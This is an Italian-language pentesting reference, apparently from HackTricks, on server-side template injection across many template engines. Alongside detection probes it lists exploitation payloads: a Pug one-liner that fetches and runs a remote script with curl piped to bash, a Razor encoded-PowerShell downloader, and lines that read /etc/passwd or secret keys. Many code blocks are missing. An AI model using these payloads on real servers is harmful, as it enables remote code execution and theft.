SSTI (Server Side Template Injection)
Last updated
Last updated
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeImpara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
L'iniezione di template lato server è una vulnerabilità che si verifica quando un attaccante può iniettare codice malevolo in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, incluso Jinja.
Jinja è un popolare motore di template utilizzato nelle applicazioni web. Consideriamo un esempio che dimostra un frammento di codice vulnerabile utilizzando Jinja:
In questo codice vulnerabile, il parametro name
della richiesta dell'utente viene passato direttamente nel template utilizzando la funzione render
. Questo può potenzialmente consentire a un attaccante di iniettare codice malevolo nel parametro name
, portando a un'iniezione di template lato server.
Ad esempio, un attaccante potrebbe creare una richiesta con un payload come questo:
Il payload {{bad-stuff-here}}
è iniettato nel parametro name
. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server.
Per prevenire vulnerabilità da server-side template injection, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
Per rilevare Server-Side Template Injection (SSTI), inizialmente, fuzzing del template è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (${{<%[%'"}}%\
) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
Contesto in chiaro: Distinguere da XSS controllando se il server valuta le espressioni del template (ad es., {{7*7}}
, ${7*7}
).
Contesto di codice: Confermare la vulnerabilità alterando i parametri di input. Ad esempio, modificare greeting
in http://vulnerable-website.com/?greeting=data.username
per vedere se l'output del server è dinamico o fisso, come in greeting=data.username}}hello
che restituisce il nome utente.
Identificare il motore del template comporta analizzare i messaggi di errore o testare manualmente vari payload specifici per linguaggio. I payload comuni che causano errori includono ${7/0}
, {{7/0}}
, e <%= 7/0 %>
. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
Maggiori informazioni in https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
un efficiente scanner SSTI + CSTI che utilizza poliglotti innovativi.
una tabella interattiva contenente i polyglot di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
In questa wordlist puoi trovare variabili definite negli ambienti di alcuni dei motori menzionati di seguito:
Java - Iniezione di base
Java - Recupera le variabili d'ambiente del sistema
Java - Recupera /etc/passwd
Puoi provare i tuoi payload su https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Niente
${foobar}
Freemarker - Bypass della sandbox
⚠️ funziona solo su versioni di Freemarker inferiori a 2.3.30
Ulteriori informazioni
Nella sezione FreeMarker di https://portswigger.net/research/server-side-template-injection
Ulteriori informazioni
Nella sezione Velocity di https://portswigger.net/research/server-side-template-injection
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione ${7*7}
, che si applica anche a questo motore di template. Per una potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti:
SpringEL:
OGNL:
Thymeleaf richiede che queste espressioni siano collocate all'interno di attributi specifici. Tuttavia, l'inserimento di espressioni è supportato per altre posizioni di template, utilizzando una sintassi come [[...]]
o [(...)]
. Pertanto, un semplice payload di test SSTI potrebbe apparire come [[${7*7}]]
.
Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione predefinita di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare il proprio TemplateResolver
per creare template da stringhe al volo, il che è raro.
Thymeleaf offre anche preprocessing delle espressioni, dove le espressioni all'interno di doppi underscore (__...__
) vengono preprocessate. Questa funzionalità può essere utilizzata nella costruzione di espressioni, come dimostrato nella documentazione di Thymeleaf:
Esempio di Vulnerabilità in Thymeleaf
Considera il seguente frammento di codice, che potrebbe essere suscettibile di sfruttamento:
Questo indica che se il motore di template elabora questi input in modo improprio, potrebbe portare all'esecuzione di codice remoto accedendo a URL come:
Ulteriori informazioni
Bypass filters
È possibile utilizzare più espressioni variabili; se ${...}
non funziona, prova #{...}
, *{...}
, @{...}
o ~{...}
.
Leggi /etc/passwd
Script personalizzato per la generazione del payload
Ulteriori informazioni
{{ someString.toUPPERCASE() }}
Versione precedente di Pebble ( < versione 3.0.9):
Nuova versione di Pebble :
Jinjava è un progetto open source sviluppato da Hubspot, disponibile su https://github.com/HubSpot/jinjava/
Jinjava - Esecuzione di comandi
Corretto da https://github.com/HubSpot/jinjava/pull/230
Ulteriori informazioni
delimitatori di dichiarazione {% %}
delimitatori di espressione {{ }}
delimitatori di commento {# #}
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206
{{'a'.toUpperCase()}}
- "A"
{{'a'.concat('b')}}
- "ab"
{{'a'.getClass()}}
- java.lang.String
{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Cerca "com.hubspot.content.hubl.context.TemplateContextRequest" e scopri il progetto Jinjava su Github.
Ulteriori informazioni
${"aaaa"}
- "aaaa"
${99999+1}
- 100000.
#{7*7}
- 49
${{7*7}}
- 49
${{request}}, ${{session}}, {{faceContext}}
Il Linguaggio di Espressione (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica applicativa (come i managed beans) in JavaEE. Viene utilizzato ampiamente in diverse tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
JavaServer Faces (JSF): Utilizza EL per collegare i componenti nelle pagine JSF ai dati e alle azioni corrispondenti nel backend.
JavaServer Pages (JSP): EL è utilizzato in JSP per accedere e manipolare i dati all'interno delle pagine JSP, rendendo più facile collegare gli elementi della pagina ai dati dell'applicazione.
Contexts and Dependency Injection for Java EE (CDI): EL si integra con CDI per consentire un'interazione fluida tra il livello web e i managed beans, garantendo una struttura applicativa più coerente.
Controlla la seguente pagina per saperne di più sull'sfruttamento degli interpreti EL:
EL - Expression LanguageI seguenti bypass del Security Manager sono stati presi da questo writeup.
Maggiori informazioni su https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
Ulteriori informazioni
Nella sezione Smarty di https://portswigger.net/research/server-side-template-injection
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Errore
{{foobar}} Niente
Twig - Formato del template
Ulteriori informazioni
Nella sezione Twig e Twig (Sandboxed) di https://portswigger.net/research/server-side-template-injection
Plates è un motore di templating nativo di PHP, che trae ispirazione da Twig. Tuttavia, a differenza di Twig, che introduce una nuova sintassi, Plates sfrutta il codice PHP nativo nei template, rendendolo intuitivo per gli sviluppatori PHP.
Controller:
Modello di pagina:
Layout template:
Ulteriori informazioni
HTML_Template_PHPLIB è lo stesso di PHPlib ma portato su Pear.
authors.tpl
authors.php
Ulteriori informazioni
Maggiori informazioni su https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Ulteriori informazioni
Nella sezione Jade di https://portswigger.net/research/server-side-template-injection
patTemplate motore di templating PHP non compilato, che utilizza tag XML per dividere un documento in diverse parti
Ulteriori informazioni
Path Traversal (maggiori informazioni qui).
= Errore
${7*7} = ${7*7}
Niente
Ulteriori informazioni
Template | Descrizione |
Valuta e rende l'output | |
Valuta e rende l'output HTML codificato | |
Commento | |
e | Consenti codice (disabilitato per impostazione predefinita) |
= 49
Lato Client
Lato Server
Ulteriori informazioni
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Esempio di rendering lato server
Ulteriori informazioni
{{7*7}} = 49
{{foo}} = Nessun output
#{7*7} = #{7*7}
{{console.log(1)}} = Errore
Ulteriori informazioni
Maggiori informazioni in https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Errore
Ulteriori informazioni
{ 7 * 7 }
Ulteriori informazioni
Maggiori informazioni su https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Controlla la seguente pagina per scoprire trucchi su bypassare l'esecuzione di comandi arbitrari nelle sandbox in python:
Bypass Python sandboxes{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Errore
{{7*'7'}} = 7777777
Ulteriori informazioni
Jinja2 è un motore di template completo per Python. Ha pieno supporto unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
{{7*7}} = Errore
${7*7} = ${7*7}
{{foobar}} Niente
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Formato del template
RCE non dipendente da __builtins__
:
Ulteriori dettagli su come abusare di Jinja:
Jinja2 SSTIAltri payload in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Ulteriori informazioni
Maggiori informazioni su https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
@(2+2) <= Success
@() <= Success
@("{{code}}") <= Success
@ <=Success
@{} <= ERROR!
@{ <= ERRROR!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Il metodo .NET System.Diagnostics.Process.Start
può essere utilizzato per avviare qualsiasi processo sul server e quindi creare un webshell. Puoi trovare un esempio di webapp vulnerabile in https://github.com/cnotin/RazorVulnerableApp
Ulteriori informazioni
<%= 7*7 %>
= 49
<%= "foo" %>
= foo
<%= foo %>
= Nothing
<%= response.write(date()) %>
= <Date>
Ulteriori informazioni
Anche se è Perl, utilizza tag simili a ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Errore
Nel motore di template di Go, la conferma del suo utilizzo può essere effettuata con payload specifici:
{{ . }}
: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributo Password
, {{ .Password }}
potrebbe esporlo.
{{printf "%s" "ssti" }}
: Ci si aspetta che visualizzi la stringa "ssti".
{{html "ssti"}}
, {{js "ssti"}}
: Questi payload dovrebbero restituire "ssti" senza aggiungere "html" o "js". Ulteriori direttive possono essere esplorate nella documentazione di Go qui.
XSS Exploitation
Con il pacchetto text/template
, l'XSS può essere semplice inserendo il payload direttamente. Al contrario, il pacchetto html/template
codifica la risposta per prevenire questo (ad esempio, {{"<script>alert(1)</script>"}}
risulta in <script>alert(1)</script>
). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
L'exploitation RCE differisce significativamente tra html/template
e text/template
. Il modulo text/template
consente di chiamare direttamente qualsiasi funzione pubblica (utilizzando il valore “call”), cosa non permessa in html/template
. La documentazione per questi moduli è disponibile qui per html/template e qui per text/template.
Per RCE tramite SSTI in Go, i metodi degli oggetti possono essere invocati. Ad esempio, se l'oggetto fornito ha un metodo System
che esegue comandi, può essere sfruttato come {{ .System "ls" }}
. Accedere al codice sorgente è solitamente necessario per sfruttare questo, come nell'esempio fornito:
Ulteriori informazioni
Controlla il resto di https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection per ulteriori exploit. Puoi anche trovare informazioni interessanti sui tag in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
Se pensi possa essere utile, leggi:
RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)